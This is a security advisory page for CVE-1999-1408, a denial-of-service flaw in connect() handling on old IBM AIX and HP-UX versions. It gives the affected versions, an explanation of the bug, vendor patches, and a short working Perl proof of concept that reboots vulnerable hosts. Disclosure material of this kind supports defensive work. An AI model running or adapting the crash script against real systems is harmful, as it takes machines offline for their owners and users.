Multiple Vendor connect() Denial of Service Vulnerability

BID:352

Info

Multiple Vendor connect() Denial of Service Vulnerability

Bugtraq ID: 352
Class: Input Validation Error
CVE: CVE-1999-1408
Remote: Yes
Local: Yes
Published: Mar 05 1997 12:00AM
Updated: Jul 11 2009 12:16AM
Credit: This bug was posted to the Bugtraq mailing list by Cahya Wirawan <[email protected]> on Wed, 5 March 1997.
Vulnerable: IBM AIX 4.1.5
IBM AIX 4.1.4
IBM AIX 4.1.3
IBM AIX 4.1.2
IBM AIX 4.1.1
IBM AIX 4.1
HP HP-UX 10.20
HP HP-UX 10.1 0
HP HP-UX 9.5
Not Vulnerable: IBM AIX 4.3
IBM AIX 4.2.1
IBM AIX 4.2
IBM AIX 3.2.5
IBM AIX 3.2.4
IBM AIX 3.2
IBM AIX 3.1

Discussion

Multiple Vendor connect() Denial of Service Vulnerability

Certain versions of AIX and HP/UX contained a bug in the way the OS handled the connect system call. The connect call is used to initiate a connection on a socket. Because of the flaw in the handling code under AIX certain versions will reboot when given two connects, one to a fixed port (a number of different ports were found to trigger this behaviour) and then another random port connection immediately thereafter.

Exploit / POC

Multiple Vendor connect() Denial of Service Vulnerability

#!/usr/local/bin/perl5
use Socket;

socket (SOCK,AF_INET,SOCK_STREAM,0);
$iaddr = inet_aton('localhost');
$paddr = sockaddr_in('23',$iaddr);
connect SOCK,$paddr;
shutdown SOCK,2;
$paddr = sockaddr_in('24',$iaddr);
connect SOCK,$paddr;

Solution / Fix

Multiple Vendor connect() Denial of Service Vulnerability

Solution:
Hewlett Packard has the following patch available:

PHNE_9102 (ARPA transport cumulative patch)

IBM Has the following APAR Available:

APAR # IX66819

References

Multiple Vendor connect() Denial of Service Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report